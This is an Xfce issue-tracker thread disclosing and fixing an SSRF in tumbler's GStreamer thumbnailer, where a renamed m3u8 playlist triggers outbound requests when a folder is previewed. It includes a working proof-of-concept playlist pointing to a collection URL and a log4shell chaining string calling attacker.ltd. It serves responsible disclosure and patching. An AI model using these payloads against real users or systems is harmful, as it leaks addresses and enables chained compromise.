[Vulnerability] SSRF when directory with malicious mp4 file is opened

Thanks for reporting ! Though xfdesktop is not the right project for this issue. I suppose it could possibly be a tumbler bug, or a bug in the thunar-media-tags-plugin (Thunar is the file manager on your screenshot).

It seems the problem is in the preview mechanism for video files. The payload provided above is actually valid m3u8 file that just renamed to mp4, but XFCE for unknown reasons processes it

If the preview mechanism is the problem, what happens if you disable thumbnailing in the thunar preferences ? In that case, it should prevent the bug.

Another thing to check: Does the bug still occur when thunar-media-tags-plugin is uninstalled ?

Problem solved disabling thumbnailing in the thunar preferences as shown in screenshot.

Interesting that uninstalling thunar-media-tags-plugin and tumbler did not solved the problem.

UPDATE. After restarting the system, the problem is disappeared. I will try to install thunar-media-tags-plugin and tumbler to detect which one is vulnerable

UPDATE 2. The problem is in tumbler plugin. And it seems we should move this issue to the right place

Thanks alot for testing ! .. moving to tumbler

And I have a few questions, if you don't mind.

Will you consider this issue as vulnerability or bug? In my opinion it is vulnerability. At least XFCE is used in all Kali Linux distributions, and as a security researcher such kind of IP address leaks are critical.
Can I start process of assigning CVE for this issue myself (using MITRE)? Of course, without publishing it.
When I can publish write-up on this issue on the internet? How much time you need to fix this problem?

Thank you in advance for your replies to my questions!

P.S. If you consider this issue as bug, you can just make this issue public here.

Without knowing much about vulnerability scoring, I suppose it is a low-score vulnerability, so probbaly fine to request a CVE for it.

Though it is not clear yet (to me) if the problem is tumbler itself, or most likely, one of it's, possibly foreign plugins ( Possibly GStreamer-thumbnailer ? I am not sure what is available for audio file thumbnails / I dont use it)

@Tamaranch is the maintainer of tumbler, so lets wait for his opinion on it ... as well regarding the other questions.

When I can publish write-up on this issue on the internet? How much time you need to fix this problem?

Do you think we should disable the GStreamer plugin by default in /etc/xdg/tumbler/tumbler.rc, with a comment, like for CoverThumbnailer? This could be backported to the 4.16 branch and released in the process if necessary.

I missed this comment. Yes, it is 100% working solution

I can't reproduce the problem. I created a Pipedream account, put the address I got in test.mp4 as indicated in the pdf above, and launched the thumbnail creation without apparently triggering any request.

It seems that the GStreamer plugin is the cause, so I tried to downgrade GStreamer to 1.18.3 (I'm at 1.20.3 on Arch), without result.

@kutlymurat To try to pinpoint the problem, does disabling this plugin in /etc/xdg/tumbler/tumbler.rc (Disabled=true) avoid sending requests? (You have to pkill tumblerd after changing the configuration)

You can use my Pipedream account.

Username: t***
E-mail: *********
Password: *******

With this test.mp4 it works fine:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
https://eon8uy8tr841kj.m.pipedream.net/xxx.mp4
#EXT-X-ENDLIST

Disabling Gstreamer in /etc/xdg/tumbler/tumbler.rc fixes the problem.

To reproduce this issue, please use debian-live-11.4.0-amd64-xfce.iso (link).

It's ok, I was able to reproduce the problem with a Debian 10 Buster I had in stock, both with your Pipedream account and with mine. So you can delete this account if you want, I'll manage with mine. It remains to be seen why I can't reproduce the problem on my machine...

So, I was missing the gst-plugins-bad package to reproduce the problem on Arch. From here, we can see that requests are sent when running gst-play-1.0 test.mp4.

Regarding Tumbler, the GStreamer function that triggers the requests is gst_bus_timed_pop_filtered(), called here.

So I think we can reasonably conclude that the vulnerability does not come from Tumbler but from GStreamer. @kutlymurat could you take care of opening the bug report upstream (maybe in gst-plugins-bad)? I think you should be more familiar with this kind of problem than I am :)

added 3. Not Xfce label

@Tamaranch I think HTTP requests are the feature of GStreamer, because GStreamer is just a framework and it should process m3u8 files. 99.99% they will decline this report.

Another question that this feature should not be enabled in Tumbler by default to protect XFCE users from data leakage. One of possible fixes is disabling souphttpsrc plugin from GStreamer before compiling it.

You're probably right. I saw that the FFmpeg plugin seemed to filter out HTTP requests by default, so I naively thought GStreamer should do the same:

[hls @ 0x7f6478002a00] Opening 'https://eofg1ooiwpn78ep.m.pipedream.net/xxx.mp4' for reading
[https @ 0x7f6478007180] Protocol 'https' not on whitelist 'file,crypto,data'!
[hls @ 0x7f6478002a00] Failed to open segment 0 of playlist 0
Format mov,mp4,m4a,3gp,3g2,mj2 detected only with low score of 1, misdetection possible!

But we don't have control over the compilation of GStreamer, it's managed by the package maintainer, depending on the distribution. There should be an API to disable souphttpsrc (among other things?), but a quick search didn't find it ¹, nor an option to pass when creating the GstElement used.

We can disable this plugin by default otherwise, as suggested above. It turns out that on Arch it is not even compiled, "to avoid confusion and frustration with GStreamer plugins". And I think that in general, it is rather the FFmpeg plugin that is used and gives good results.

This API actually exists: see https://gitlab.freedesktop.org/gstreamer/gstreamer/-/issues/1392#note_1516094.

I think it is good decision to start using only FFmpeg.

Alternatively, we could check that the "real" mime type (guessed from a piece of content) matches the advertised one. Because here the vulnerability is that an audio/x-mpegurl file is masquerading as video/mp4, and that is not detected. If the file was advertising itself as what it is, the HTTP request would be legitimate and expected, since the GStreamer plugin is supposed to support the audio/x-mpegurl mime type. Am I right?

One could argue that the client (in this case Thunar) should make sure it sends the right mime type, but one could also argue that Tumbler should do this check, if necessary. In general, I don't think this is necessary: the plugins (or rather the third-party libraries they use) deal with the actual file content in their own way (a wrong mime type being far from the only problem that can occur).

So it seems to me that a mime type check limited to the GStreamer plugin could do the trick here. @alexxcons what do you think?

I googled a little bit, but cannot find the way to disable specific plugins in GStreamer. And as @Tamaranch said, GStreamer comes from maintainer without ability to compile it ourselves. Of course, we can add some mime-type checks using file headers, but there are a lot of audio/video formats.

And I just checked and found that vulnerability works also for .mp3, .avi, .mpg, .3gp. I think it will work for all media extensions

So I support decision about disabling GStreamer plugin.

there are a lot of audio/video formats. And I just checked and found that vulnerability works also for .mp3, .avi, .mpg, .3gp. I think it will work for all media extensions

It doesn't matter how many audio/video formats there are. Tumbler receives one mime type per file when a client sends a request. The idea is to check if the mime type passed to it by the client matches the real mime type. If so, it is the client's responsibility not to send files that can legitimately cause HTTP requests, so we continue. If not, the client may have been tricked by a misleading mime type, so we give up.

Here's a patch for that, which should cover all the cases you mention: 0001-gst-thumbnailer-Add-mime-type-check-Fixes-65.patch

Looks good to me @Tamaranch ! I did not test the patch, though it makes sense to me and probably would fix the vulnerability. Though I wonder if that check is something, which shoud be downstreamed, into GStreamer itself.

@kutlymurat, it would be great if you could test it !

Sorry for the late response. It seems the patch is fixed the problem. Great!

closed with commit a0fc191e

removed 3. Not Xfce label

@alexxcons @kutlymurat So what would be the next step? Is it worth it to backport the patch to 4.16 and do a release? Should we lift the confidentiality of this issue anyway?

As @alexxcons suggested it is a low-severity vulnerability, because GStreamer supports only http(s) protocols, and there is no way to steal files using file:// protocol, for example. But it is still possible to hack into the system, if on the victim side the vulnerable application is running. In the case of log4shell vulnerability, if imagine that vulnerable app running at 127.0.0.1, mp4 file with request to 127.0.0.1/?x=${jndi:ldap://attacker.ltd/a} is enough to compromise the computer.

So I'm little bit confused, because it is low-severity vulnerability, but if chain it with other vulnerabilities it became critical. Especially Kali Linux users like intentionally vulnerable web applications to test them locally (like WebGoat, DVWA, etc.), and they think they are safe, because they running these applications locally. So I think it will be great to release a patch for old versions, but of course, it depends on your tasks priorities.

Also it will be great if the confidentiality of this issue will be removed in the end of August or at least in the middle of September. I would like to speak about this vulnerability (and other vulnerabilities in media converters) in the local conference in Kazakhstan by the end of September.

Yea, sounds reasonable to as well patch and release tumbler 4.16 (On my projects I try to backport all bugfixes which apply cleanly, are not too complex and which seem to have no side-effects)

Humm, looks like tumbler has no 4.16 branch yet.

Would you agree that it makes sense to open an issue for GStreamer itself , suggesting a similar fix ?

Thanks for your feedback. So I'll backport the patch and do a release on 4.16, then we can make this issue public (maybe wait a few days for the package maintainers to have time to react). I will also open the upstream issue at that time.

Tumbler 4.16.1 finally released and announced: https://mail.xfce.org/pipermail/xfce-announce/2022-August/001133.html.

Let's keep this issue confidential until next weekend, then I'll take care of reporting this upstream.

Done: https://gitlab.freedesktop.org/gstreamer/gstreamer/-/issues/1392.

mentioned in commit 21c646b3

made the issue visible to everyone

Thank you @alexxcons @Tamaranch for helping me with this issue! I've published my article about this vulnerability: https://murat.one/?p=187

Also I've informed MITRE about link to this issue. When they assign CVE id, I'll update you here.

changed milestone to %4.17.3

assigned to @Tamaranch

mentioned in issue #69 (closed)

marked this issue as related to #69 (closed)

[Vulnerability] SSRF when directory with malicious mp4 file is opened

Designs

Child items 0

Activity